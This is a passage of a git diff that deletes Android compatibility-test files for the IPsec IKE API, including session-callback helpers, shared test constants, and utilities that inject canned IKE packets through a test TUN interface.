-        return IkeTunUtils.getSrcDestPortPair(ikeAuthReqPkt);
-    }
-
-    void performCloseIkeBlocking(int expectedMsgId, String deleteIkeRespHex) throws Exception {
-        performCloseIkeBlocking(expectedMsgId, true /* expectedUseEncap*/, deleteIkeRespHex);
-    }
-
-    void performCloseIkeBlocking(
-            int expectedMsgId, boolean expectedUseEncap, String deleteIkeRespHex) throws Exception {
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedMsgId, expectedUseEncap, deleteIkeRespHex);
-    }
-
-    /** Testing callback that allows caller to block current thread until a method get called */
-    static class TestIkeSessionCallback implements IkeSessionCallback {
-        private CompletableFuture<IkeSessionConfiguration> mFutureIkeConfig =
-                new CompletableFuture<>();
-        private CompletableFuture<Boolean> mFutureOnClosedCall = new CompletableFuture<>();
-        private CompletableFuture<IkeException> mFutureOnClosedException =
-                new CompletableFuture<>();
-
-        private int mOnErrorExceptionsCount = 0;
-        private ArrayTrackRecord<IkeProtocolException> mOnErrorExceptionsTrackRecord =
-                new ArrayTrackRecord<>();
-
-        @Override
-        public void onOpened(@NonNull IkeSessionConfiguration sessionConfiguration) {
-            mFutureIkeConfig.complete(sessionConfiguration);
-        }
-
-        @Override
-        public void onClosed() {
-            mFutureOnClosedCall.complete(true /* unused */);
-        }
-
-        @Override
-        public void onClosedExceptionally(@NonNull IkeException exception) {
-            mFutureOnClosedException.complete(exception);
-        }
-
-        @Override
-        public void onError(@NonNull IkeProtocolException exception) {
-            mOnErrorExceptionsTrackRecord.add(exception);
-        }
-
-        public IkeSessionConfiguration awaitIkeConfig() throws Exception {
-            return mFutureIkeConfig.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IkeException awaitOnClosedException() throws Exception {
-            return mFutureOnClosedException.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IkeProtocolException awaitNextOnErrorException() {
-            return mOnErrorExceptionsTrackRecord.poll(
-                    (long) TIMEOUT_MS,
-                    mOnErrorExceptionsCount++,
-                    (transform) -> {
-                        return true;
-                    });
-        }
-
-        public void awaitOnClosed() throws Exception {
-            mFutureOnClosedCall.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-    }
-
-    /** Testing callback that allows caller to block current thread until a method get called */
-    static class TestChildSessionCallback implements ChildSessionCallback {
-        private CompletableFuture<ChildSessionConfiguration> mFutureChildConfig =
-                new CompletableFuture<>();
-        private CompletableFuture<Boolean> mFutureOnClosedCall = new CompletableFuture<>();
-        private CompletableFuture<IkeException> mFutureOnClosedException =
-                new CompletableFuture<>();
-
-        private int mCreatedIpSecTransformCount = 0;
-        private int mDeletedIpSecTransformCount = 0;
-        private ArrayTrackRecord<IpSecTransformCallRecord> mCreatedIpSecTransformsTrackRecord =
-                new ArrayTrackRecord<>();
-        private ArrayTrackRecord<IpSecTransformCallRecord> mDeletedIpSecTransformsTrackRecord =
-                new ArrayTrackRecord<>();
-
-        @Override
-        public void onOpened(@NonNull ChildSessionConfiguration sessionConfiguration) {
-            mFutureChildConfig.complete(sessionConfiguration);
-        }
-
-        @Override
-        public void onClosed() {
-            mFutureOnClosedCall.complete(true /* unused */);
-        }
-
-        @Override
-        public void onClosedExceptionally(@NonNull IkeException exception) {
-            mFutureOnClosedException.complete(exception);
-        }
-
-        @Override
-        public void onIpSecTransformCreated(@NonNull IpSecTransform ipSecTransform, int direction) {
-            mCreatedIpSecTransformsTrackRecord.add(
-                    new IpSecTransformCallRecord(ipSecTransform, direction));
-        }
-
-        @Override
-        public void onIpSecTransformDeleted(@NonNull IpSecTransform ipSecTransform, int direction) {
-            mDeletedIpSecTransformsTrackRecord.add(
-                    new IpSecTransformCallRecord(ipSecTransform, direction));
-        }
-
-        public ChildSessionConfiguration awaitChildConfig() throws Exception {
-            return mFutureChildConfig.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IkeException awaitOnClosedException() throws Exception {
-            return mFutureOnClosedException.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IpSecTransformCallRecord awaitNextCreatedIpSecTransform() {
-            return mCreatedIpSecTransformsTrackRecord.poll(
-                    (long) TIMEOUT_MS,
-                    mCreatedIpSecTransformCount++,
-                    (transform) -> {
-                        return true;
-                    });
-        }
-
-        public IpSecTransformCallRecord awaitNextDeletedIpSecTransform() {
-            return mDeletedIpSecTransformsTrackRecord.poll(
-                    (long) TIMEOUT_MS,
-                    mDeletedIpSecTransformCount++,
-                    (transform) -> {
-                        return true;
-                    });
-        }
-
-        public void awaitOnClosed() throws Exception {
-            mFutureOnClosedCall.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-    }
-
-    /**
-     * This class represents a created or deleted IpSecTransfrom that is provided by
-     * ChildSessionCallback
-     */
-    static class IpSecTransformCallRecord {
-        public final IpSecTransform ipSecTransform;
-        public final int direction;
-
-        IpSecTransformCallRecord(IpSecTransform ipSecTransform, @PolicyDirection int direction) {
-            this.ipSecTransform = ipSecTransform;
-            this.direction = direction;
-        }
-
-        @Override
-        public int hashCode() {
-            return Objects.hash(ipSecTransform, direction);
-        }
-
-        @Override
-        public boolean equals(Object o) {
-            if (!(o instanceof IpSecTransformCallRecord)) return false;
-
-            IpSecTransformCallRecord record = (IpSecTransformCallRecord) o;
-            return ipSecTransform.equals(record.ipSecTransform) && direction == record.direction;
-        }
-    }
-
-    void verifyIkeSessionSetupBlocking() throws Exception {
-        IkeSessionConfiguration ikeConfig = mIkeSessionCallback.awaitIkeConfig();
-        assertNotNull(ikeConfig);
-        assertEquals(EXPECTED_REMOTE_APP_VERSION_EMPTY, ikeConfig.getRemoteApplicationVersion());
-        assertTrue(ikeConfig.getRemoteVendorIds().isEmpty());
-        assertTrue(ikeConfig.getPcscfServers().isEmpty());
-        assertTrue(ikeConfig.isIkeExtensionEnabled(EXTENSION_TYPE_FRAGMENTATION));
-
-        IkeSessionConnectionInfo ikeConnectInfo = ikeConfig.getIkeSessionConnectionInfo();
-        assertNotNull(ikeConnectInfo);
-        assertEquals(mLocalAddress, ikeConnectInfo.getLocalAddress());
-        assertEquals(mRemoteAddress, ikeConnectInfo.getRemoteAddress());
-        assertEquals(mTunNetwork, ikeConnectInfo.getNetwork());
-    }
-
-    void verifyChildSessionSetupBlocking(
-            TestChildSessionCallback childCallback,
-            List<IkeTrafficSelector> expectedInboundTs,
-            List<IkeTrafficSelector> expectedOutboundTs,
-            List<LinkAddress> expectedInternalAddresses)
-            throws Exception {
-        verifyChildSessionSetupBlocking(
-                childCallback,
-                expectedInboundTs,
-                expectedOutboundTs,
-                expectedInternalAddresses,
-                new ArrayList<InetAddress>() /* expectedDnsServers */);
-    }
-
-    void verifyChildSessionSetupBlocking(
-            TestChildSessionCallback childCallback,
-            List<IkeTrafficSelector> expectedInboundTs,
-            List<IkeTrafficSelector> expectedOutboundTs,
-            List<LinkAddress> expectedInternalAddresses,
-            List<InetAddress> expectedDnsServers)
-            throws Exception {
-        ChildSessionConfiguration childConfig = childCallback.awaitChildConfig();
-        assertNotNull(childConfig);
-        assertEquals(expectedInboundTs, childConfig.getInboundTrafficSelectors());
-        assertEquals(expectedOutboundTs, childConfig.getOutboundTrafficSelectors());
-        assertEquals(expectedInternalAddresses, childConfig.getInternalAddresses());
-        assertEquals(expectedDnsServers, childConfig.getInternalDnsServers());
-        assertTrue(childConfig.getInternalSubnets().isEmpty());
-        assertTrue(childConfig.getInternalDhcpServers().isEmpty());
-    }
-
-    void verifyCloseIkeAndChildBlocking(
-            IpSecTransformCallRecord expectedTransformRecordA,
-            IpSecTransformCallRecord expectedTransformRecordB)
-            throws Exception {
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, expectedTransformRecordA, expectedTransformRecordB);
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-
-    static void verifyCreateIpSecTransformPair(
-            IpSecTransformCallRecord transformRecordA, IpSecTransformCallRecord transformRecordB) {
-        IpSecTransform transformA = transformRecordA.ipSecTransform;
-        IpSecTransform transformB = transformRecordB.ipSecTransform;
-
-        assertNotNull(transformA);
-        assertNotNull(transformB);
-
-        Set<Integer> expectedDirections = new HashSet<>();
-        expectedDirections.add(IpSecManager.DIRECTION_IN);
-        expectedDirections.add(IpSecManager.DIRECTION_OUT);
-
-        Set<Integer> resultDirections = new HashSet<>();
-        resultDirections.add(transformRecordA.direction);
-        resultDirections.add(transformRecordB.direction);
-
-        assertEquals(expectedDirections, resultDirections);
-    }
-
-    static void verifyDeleteIpSecTransformPair(
-            TestChildSessionCallback childCb,
-            IpSecTransformCallRecord expectedTransformRecordA,
-            IpSecTransformCallRecord expectedTransformRecordB) {
-        Set<IpSecTransformCallRecord> expectedTransforms = new HashSet<>();
-        expectedTransforms.add(expectedTransformRecordA);
-        expectedTransforms.add(expectedTransformRecordB);
-
-        Set<IpSecTransformCallRecord> resultTransforms = new HashSet<>();
-        resultTransforms.add(childCb.awaitNextDeletedIpSecTransform());
-        resultTransforms.add(childCb.awaitNextDeletedIpSecTransform());
-
-        assertEquals(expectedTransforms, resultTransforms);
-    }
-
-    /** Package private method to check if device has IPsec tunnels feature */
-    static boolean hasTunnelsFeature() {
-        return sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS);
-    }
-
-    // TODO(b/148689509): Verify hostname based creation
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTestBase.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTestBase.java
deleted file mode 100644
index 56275e5..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTestBase.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
-import android.net.InetAddresses;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/** Shared parameters and util methods for testing different components of IKE */
-abstract class IkeTestBase {
-    static final int MIN_PORT = 0;
-    static final int MAX_PORT = 65535;
-    private static final int INBOUND_TS_START_PORT = MIN_PORT;
-    private static final int INBOUND_TS_END_PORT = 65520;
-    private static final int OUTBOUND_TS_START_PORT = 16;
-    private static final int OUTBOUND_TS_END_PORT = MAX_PORT;
-
-    static final int IP4_ADDRESS_LEN = 4;
-    static final int IP6_ADDRESS_LEN = 16;
-    static final int IP4_PREFIX_LEN = 32;
-    static final int IP6_PREFIX_LEN = 64;
-
-    static final byte[] IKE_PSK = "ikeAndroidPsk".getBytes();
-
-    static final String LOCAL_HOSTNAME = "client.test.ike.android.net";
-    static final String REMOTE_HOSTNAME = "server.test.ike.android.net";
-    static final String LOCAL_ASN1_DN_STRING = "CN=client.test.ike.android.net, O=Android, C=US";
-    static final String LOCAL_RFC822_NAME = "client.test.ike@example.com";
-    static final byte[] LOCAL_KEY_ID = "Local Key ID".getBytes();
-
-    static final int SUB_ID = 1;
-    static final byte[] EAP_IDENTITY = "test@android.net".getBytes();
-    static final String NETWORK_NAME = "android.net";
-    static final String EAP_MSCHAPV2_USERNAME = "mschapv2user";
-    static final String EAP_MSCHAPV2_PASSWORD = "password";
-
-    static final Inet4Address IPV4_ADDRESS_LOCAL =
-            (Inet4Address) (InetAddresses.parseNumericAddress("192.0.2.100"));
-    static final Inet4Address IPV4_ADDRESS_REMOTE =
-            (Inet4Address) (InetAddresses.parseNumericAddress("198.51.100.100"));
-    static final Inet6Address IPV6_ADDRESS_LOCAL =
-            (Inet6Address) (InetAddresses.parseNumericAddress("2001:db8::100"));
-    static final Inet6Address IPV6_ADDRESS_REMOTE =
-            (Inet6Address) (InetAddresses.parseNumericAddress("2001:db8:255::100"));
-
-    static final InetAddress PCSCF_IPV4_ADDRESS_1 = InetAddresses.parseNumericAddress("192.0.2.1");
-    static final InetAddress PCSCF_IPV4_ADDRESS_2 = InetAddresses.parseNumericAddress("192.0.2.2");
-    static final InetAddress PCSCF_IPV6_ADDRESS_1 =
-            InetAddresses.parseNumericAddress("2001:DB8::1");
-    static final InetAddress PCSCF_IPV6_ADDRESS_2 =
-            InetAddresses.parseNumericAddress("2001:DB8::2");
-
-    static final IkeTrafficSelector DEFAULT_V4_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("0.0.0.0"),
-                    InetAddresses.parseNumericAddress("255.255.255.255"));
-    static final IkeTrafficSelector DEFAULT_V6_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("::"),
-                    InetAddresses.parseNumericAddress("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"));
-    static final IkeTrafficSelector INBOUND_V4_TS =
-            new IkeTrafficSelector(
-                    INBOUND_TS_START_PORT,
-                    INBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("192.0.2.10"),
-                    InetAddresses.parseNumericAddress("192.0.2.20"));
-    static final IkeTrafficSelector OUTBOUND_V4_TS =
-            new IkeTrafficSelector(
-                    OUTBOUND_TS_START_PORT,
-                    OUTBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("198.51.100.0"),
-                    InetAddresses.parseNumericAddress("198.51.100.255"));
-
-    static final IkeTrafficSelector INBOUND_V6_TS =
-            new IkeTrafficSelector(
-                    INBOUND_TS_START_PORT,
-                    INBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("2001:db8::10"),
-                    InetAddresses.parseNumericAddress("2001:db8::128"));
-    static final IkeTrafficSelector OUTBOUND_V6_TS =
-            new IkeTrafficSelector(
-                    OUTBOUND_TS_START_PORT,
-                    OUTBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("2001:db8:255::64"),
-                    InetAddresses.parseNumericAddress("2001:db8:255::255"));
-
-    // Verify Config requests in TunnelModeChildSessionParams and IkeSessionParams
-    <T> void verifyConfigRequestTypes(
-            Map<Class<? extends T>, Integer> expectedReqCntMap, List<? extends T> resultReqList) {
-        Map<Class<? extends T>, Integer> resultReqCntMap = new HashMap<>();
-
-        // Verify that every config request type in resultReqList is expected, and build
-        // resultReqCntMap at the same time
-        for (T resultReq : resultReqList) {
-            boolean isResultReqExpected = false;
-
-            for (Class<? extends T> expectedReqInterface : expectedReqCntMap.keySet()) {
-                if (expectedReqInterface.isInstance(resultReq)) {
-                    isResultReqExpected = true;
-
-                    resultReqCntMap.put(
-                            expectedReqInterface,
-                            resultReqCntMap.getOrDefault(expectedReqInterface, 0) + 1);
-                }
-            }
-
-            if (!isResultReqExpected) {
-                fail("Failed due to unexpected config request " + resultReq);
-            }
-        }
-
-        assertEquals(expectedReqCntMap, resultReqCntMap);
-
-        // TODO: Think of a neat way to validate both counts and values in this method. Probably can
-        // build Runnables as validators for count and values.
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTunUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTunUtils.java
deleted file mode 100644
index 193455a..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTunUtils.java
+++ /dev/null
@@ -1,377 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.ipsec.ike.cts;
-
-import static android.ipsec.ike.cts.PacketUtils.BytePayload;
-import static android.ipsec.ike.cts.PacketUtils.IP4_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.IP6_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.Ip4Header;
-import static android.ipsec.ike.cts.PacketUtils.Ip6Header;
-import static android.ipsec.ike.cts.PacketUtils.IpHeader;
-import static android.ipsec.ike.cts.PacketUtils.Payload;
-import static android.ipsec.ike.cts.PacketUtils.UDP_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.UdpHeader;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import static com.android.internal.util.HexDump.hexStringToByteArray;
-
-import static org.junit.Assert.fail;
-
-import android.os.ParcelFileDescriptor;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.function.Predicate;
-
-public class IkeTunUtils extends TunUtils {
-    private static final int PORT_LEN = 2;
-
-    private static final int NON_ESP_MARKER_LEN = 4;
-    private static final byte[] NON_ESP_MARKER = new byte[NON_ESP_MARKER_LEN];
-
-    private static final int IKE_INIT_SPI_OFFSET = 0;
-    private static final int IKE_FIRST_PAYLOAD_OFFSET = 16;
-    private static final int IKE_IS_RESP_BYTE_OFFSET = 19;
-    private static final int IKE_MSG_ID_OFFSET = 20;
-    private static final int IKE_HEADER_LEN = 28;
-    private static final int IKE_FRAG_NUM_OFFSET = 32;
-    private static final int IKE_PAYLOAD_TYPE_SKF = 53;
-
-    private static final int RSP_FLAG_MASK = 0x20;
-
-    public IkeTunUtils(ParcelFileDescriptor tunFd) {
-        super(tunFd);
-    }
-
-    /**
-     * Await the expected IKE request inject an IKE response (or a list of response fragments)
-     *
-     * @param ikeRespDataFragmentsHex IKE response hex (or a list of response fragments) without
-     *     IP/UDP headers or NON ESP MARKER.
-     */
-    public byte[] awaitReqAndInjectResp(
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedUseEncap,
-            String... ikeRespDataFragmentsHex)
-            throws Exception {
-        return awaitReqAndInjectResp(
-                        expectedInitIkeSpi,
-                        expectedMsgId,
-                        expectedUseEncap,
-                        1 /* expectedReqPktCnt */,
-                        ikeRespDataFragmentsHex)
-                .get(0);
-    }
-
-    /**
-     * Await the expected IKE request (or the list of IKE request fragments) and inject an IKE
-     * response (or a list of response fragments)
-     *
-     * @param ikeRespDataFragmentsHex IKE response hex (or a list of response fragments) without
-     *     IP/UDP headers or NON ESP MARKER.
-     */
-    public List<byte[]> awaitReqAndInjectResp(
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedUseEncap,
-            int expectedReqPktCnt,
-            String... ikeRespDataFragmentsHex)
-            throws Exception {
-        List<byte[]> reqList = new ArrayList<>(expectedReqPktCnt);
-        if (expectedReqPktCnt == 1) {
-            // Expecting one complete IKE packet
-            byte[] req =
-                    awaitIkePacket(
-                            (pkt) -> {
-                                return isExpectedIkePkt(
-                                        pkt,
-                                        expectedInitIkeSpi,
-                                        expectedMsgId,
-                                        false /* expectedResp */,
-                                        expectedUseEncap);
-                            });
-            reqList.add(req);
-        } else {
-            // Expecting "expectedReqPktCnt" number of request fragments
-            for (int i = 0; i < expectedReqPktCnt; i++) {
-                // IKE Fragment number always starts from 1
-                int expectedFragNum = i + 1;
-                byte[] req =
-                        awaitIkePacket(
-                                (pkt) -> {
-                                    return isExpectedIkeFragPkt(
-                                            pkt,
-                                            expectedInitIkeSpi,
-                                            expectedMsgId,
-                                            false /* expectedResp */,
-                                            expectedUseEncap,
-                                            expectedFragNum);
-                                });
-                reqList.add(req);
-            }
-        }
-
-        // All request fragments have the same addresses and ports
-        byte[] request = reqList.get(0);
-
-        // Build response header by flipping address and port
-        InetAddress srcAddr = getAddress(request, false /* shouldGetSource */);
-        InetAddress dstAddr = getAddress(request, true /* shouldGetSource */);
-        int srcPort = getPort(request, false /* shouldGetSource */);
-        int dstPort = getPort(request, true /* shouldGetSource */);
-        for (String resp : ikeRespDataFragmentsHex) {
-            byte[] response =
-                    buildIkePacket(
-                            srcAddr,
-                            dstAddr,
-                            srcPort,
-                            dstPort,
-                            expectedUseEncap,
-                            hexStringToByteArray(resp));
-            injectPacket(response);
-        }
-
-        return reqList;
-    }
-
-    /** Await the expected IKE response */
-    public byte[] awaitResp(long expectedInitIkeSpi, int expectedMsgId, boolean expectedUseEncap)
-            throws Exception {
-        return awaitIkePacket(
-                (pkt) -> {
-                    return isExpectedIkePkt(
-                            pkt,
-                            expectedInitIkeSpi,
-                            expectedMsgId,
-                            true /* expectedResp*/,
-                            expectedUseEncap);
-                });
-    }
-
-    private byte[] awaitIkePacket(Predicate<byte[]> pktVerifier) throws Exception {
-        long endTime = System.currentTimeMillis() + TIMEOUT;
-        int startIndex = 0;
-        synchronized (mPackets) {
-            while (System.currentTimeMillis() < endTime) {
-                byte[] ikePkt = getFirstMatchingPacket(pktVerifier, startIndex);
-                if (ikePkt != null) {
-                    return ikePkt; // We've found the packet we're looking for.
-                }
-
-                startIndex = mPackets.size();
-
-                // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
-                long waitTimeout = endTime - System.currentTimeMillis();
-                if (waitTimeout > 0) {
-                    mPackets.wait(waitTimeout);
-                }
-            }
-
-            fail("No matching packet found");
-        }
-
-        throw new IllegalStateException(
-                "Hit an impossible case where fail() didn't throw an exception");
-    }
-
-    private static boolean isExpectedIkePkt(
-            byte[] pkt,
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedResp,
-            boolean expectedUseEncap) {
-        int ipProtocolOffset = isIpv6(pkt) ? IP6_PROTO_OFFSET : IP4_PROTO_OFFSET;
-        int ikeOffset = getIkeOffset(pkt, expectedUseEncap);
-
-        return pkt[ipProtocolOffset] == IPPROTO_UDP
-                && expectedUseEncap == hasNonEspMarker(pkt)
-                && isExpectedSpiAndMsgId(
-                        pkt, ikeOffset, expectedInitIkeSpi, expectedMsgId, expectedResp);
-    }
-
-    private static boolean isExpectedIkeFragPkt(
-            byte[] pkt,
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedResp,
-            boolean expectedUseEncap,
-            int expectedFragNum) {
-        return isExpectedIkePkt(
-                        pkt, expectedInitIkeSpi, expectedMsgId, expectedResp, expectedUseEncap)
-                && isExpectedFragNum(pkt, getIkeOffset(pkt, expectedUseEncap), expectedFragNum);
-    }
-
-    private static int getIkeOffset(byte[] pkt, boolean useEncap) {
-        if (isIpv6(pkt)) {
-            // IPv6 UDP expectedUseEncap not supported by kernels; assume non-expectedUseEncap.
-            return IP6_HDRLEN + UDP_HDRLEN;
-        } else {
-            // Use default IPv4 header length (assuming no options)
-            int ikeOffset = IP4_HDRLEN + UDP_HDRLEN;
-            return useEncap ? ikeOffset + NON_ESP_MARKER_LEN : ikeOffset;
-        }
-    }
-
-    private static boolean hasNonEspMarker(byte[] pkt) {
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        int ikeOffset = IP4_HDRLEN + UDP_HDRLEN;
-        if (buffer.remaining() < ikeOffset) return false;
-
-        buffer.get(new byte[ikeOffset]); // Skip IP and UDP header
-        byte[] nonEspMarker = new byte[NON_ESP_MARKER_LEN];
-        if (buffer.remaining() < NON_ESP_MARKER_LEN) return false;
-
-        buffer.get(nonEspMarker);
-        return Arrays.equals(NON_ESP_MARKER, nonEspMarker);
-    }
-
-    private static boolean isExpectedSpiAndMsgId(
-            byte[] pkt,
-            int ikeOffset,
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedResp) {
-        if (pkt.length <= ikeOffset + IKE_HEADER_LEN) return false;
-
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        buffer.get(new byte[ikeOffset]); // Skip IP, UDP header (and NON_ESP_MARKER)
-        buffer.mark(); // Mark this position so that later we can reset back here
-
-        // Check SPI
-        buffer.get(new byte[IKE_INIT_SPI_OFFSET]);
-        long initSpi = buffer.getLong();
-        if (expectedInitIkeSpi != initSpi) {
-            return false;
-        }
-
-        // Check direction
-        buffer.reset();
-        buffer.get(new byte[IKE_IS_RESP_BYTE_OFFSET]);
-        byte flagsByte = buffer.get();
-        boolean isResp = ((flagsByte & RSP_FLAG_MASK) != 0);
-        if (expectedResp != isResp) {
-            return false;
-        }
-
-        // Check message ID
-        buffer.reset();
-        buffer.get(new byte[IKE_MSG_ID_OFFSET]);
-
-        // Both the expected message ID and the packet's msgId are signed integers, so directly
-        // compare them.
-        int msgId = buffer.getInt();
-        if (expectedMsgId != msgId) {
-            return false;
-        }
-
-        return true;
-    }
-
-    private static boolean isExpectedFragNum(byte[] pkt, int ikeOffset, int expectedFragNum) {
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        buffer.get(new byte[ikeOffset]);
-        buffer.mark(); // Mark this position so that later we can reset back here
-
-        // Check if it is a fragment packet
-        buffer.get(new byte[IKE_FIRST_PAYLOAD_OFFSET]);
-        int firstPayload = Byte.toUnsignedInt(buffer.get());
-        if (firstPayload != IKE_PAYLOAD_TYPE_SKF) {
-            return false;
-        }
-
-        // Check fragment number
-        buffer.reset();
-        buffer.get(new byte[IKE_FRAG_NUM_OFFSET]);
-        int fragNum = Short.toUnsignedInt(buffer.getShort());
-        return expectedFragNum == fragNum;
-    }
-
-    public static class PortPair {
-        public final int srcPort;
-        public final int dstPort;
-
-        public PortPair(int sourcePort, int destinationPort) {
-            srcPort = sourcePort;
-            dstPort = destinationPort;
-        }
-    }
-
-    public static PortPair getSrcDestPortPair(byte[] outboundIkePkt) throws Exception {
-        return new PortPair(
-                getPort(outboundIkePkt, true /* shouldGetSource */),
-                getPort(outboundIkePkt, false /* shouldGetSource */));
-    }
-
-    private static InetAddress getAddress(byte[] pkt, boolean shouldGetSource) throws Exception {
-        int ipLen = isIpv6(pkt) ? IP6_ADDR_LEN : IP4_ADDR_LEN;
-        int srcIpOffset = isIpv6(pkt) ? IP6_ADDR_OFFSET : IP4_ADDR_OFFSET;
-        int ipOffset = shouldGetSource ? srcIpOffset : srcIpOffset + ipLen;
-
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        buffer.get(new byte[ipOffset]);
-        byte[] ipAddrBytes = new byte[ipLen];
-        buffer.get(ipAddrBytes);
-        return InetAddress.getByAddress(ipAddrBytes);
-    }
-
-    private static int getPort(byte[] pkt, boolean shouldGetSource) {
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        int srcPortOffset = isIpv6(pkt) ? IP6_HDRLEN : IP4_HDRLEN;
-        int portOffset = shouldGetSource ? srcPortOffset : srcPortOffset + PORT_LEN;
-
-        buffer.get(new byte[portOffset]);
-        return Short.toUnsignedInt(buffer.getShort());
-    }
-
-    public static byte[] buildIkePacket(
-            InetAddress srcAddr,
-            InetAddress dstAddr,
-            int srcPort,
-            int dstPort,
-            boolean useEncap,
-            byte[] ikePacket)
-            throws Exception {
-        if (useEncap) {
-            ByteBuffer buffer = ByteBuffer.allocate(NON_ESP_MARKER_LEN + ikePacket.length);
-            buffer.put(NON_ESP_MARKER);
-            buffer.put(ikePacket);
-            ikePacket = buffer.array();
-        }
-
-        UdpHeader udpPkt = new UdpHeader(srcPort, dstPort, new BytePayload(ikePacket));
-        IpHeader ipPkt = getIpHeader(udpPkt.getProtocolId(), srcAddr, dstAddr, udpPkt);
-        return ipPkt.getPacketBytes();
-    }
-
-    private static IpHeader getIpHeader(
-            int protocol, InetAddress src, InetAddress dst, Payload payload) {
-        if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
-            throw new IllegalArgumentException("Invalid src/dst address combination");
-        }
-
-        if (src instanceof Inet6Address) {
-            return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
-        } else {
-            return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
-        }
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/PacketUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/PacketUtils.java
deleted file mode 100644
index 5a4347b..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/PacketUtils.java
+++ /dev/null
@@ -1,467 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.system.OsConstants.IPPROTO_IPV6;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.nio.ByteBuffer;
-import java.nio.ShortBuffer;
-import java.security.GeneralSecurityException;
-import java.security.SecureRandom;
-import java.util.Arrays;
-
-import javax.crypto.Cipher;
-import javax.crypto.Mac;
-import javax.crypto.spec.IvParameterSpec;
-import javax.crypto.spec.SecretKeySpec;
-
-/**
- * This code is a exact copy of {@link PacketUtils} in
- * cts/tests/tests/net/src/android/net/cts/PacketUtils.java.
- *
